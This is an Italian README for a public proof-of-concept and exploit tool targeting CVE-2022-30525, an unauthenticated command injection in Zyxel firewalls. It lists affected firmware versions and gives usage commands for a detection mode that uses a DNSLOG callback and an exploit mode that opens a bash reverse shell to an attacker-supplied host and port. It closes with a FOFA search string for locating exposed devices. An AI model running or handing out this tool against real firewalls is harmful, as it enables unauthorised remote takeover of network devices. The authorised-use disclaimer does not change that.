CVE-2022-30525 Iniezione di comandi nel firewall Zyxel

CVE-2022-30525 POC&EXP

author:160team.west9B

Solo per uso da parte di ricercatori di sicurezza autorizzati, nel rispetto della legge sulla sicurezza informatica. L'utente si assume ogni responsabilità per eventuali conseguenze; l'autore non è responsabile.

01-Introduzione di base

Il 12 maggio 2022, Zyxel ha pubblicato un bollettino di sicurezza correggendo una vulnerabilità di iniezione di comandi remoti non autenticata (CVE-2022-30525) nei suoi dispositivi firewall, con un punteggio CVSS di 9.8. La vulnerabilità risiede nel programma CGI di alcune versioni dei firewall Zyxel e consente di eseguire comandi arbitrari su dispositivi interessati senza autenticazione.

Versioni interessate:

Serie ATP: 5.10-5.21 Patch 1

Serie VPN: 4.60-5.21 Patch 1

USG FLEX 100(W), 200, 500, 700: 5.00-5.21 Patch 1

USG FLEX 50(W)/USG20(W)-VPN: 5.10-5.21 Patch 1

02-Istruzioni per l'uso

usage_poc: ./cve-2022-30525 -m poc -u url

usage_exp: ./cve-2022-30525 -m exp -u url -lhost ip -lport port

1. POC

L'esecuzione del comando per questa vulnerabilità non ha output. Pertanto, la verifica del POC richiede l'API DNSLOG; se DNSLOG registra una richiesta, la vulnerabilità è presente. Per evitare falsi positivi dovuti a ritardi di rete, la verifica del DNSLOG viene ritardata di 10 secondi.

usage_poc: ./cve-2022-30525 -m poc -u https://192.168.1.1/

2. EXP

EXP genera una shell inversa tramite bash. Specificare IP e porta del VPS dopo -m exp.

usage_exp: ./cve-2022-30525 -m exp -u https://192.168.1.1/ -lhost 192.168.1.2 -lport 1337

Screenshots

reference

https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/

fofa

title="USG FLEX XX"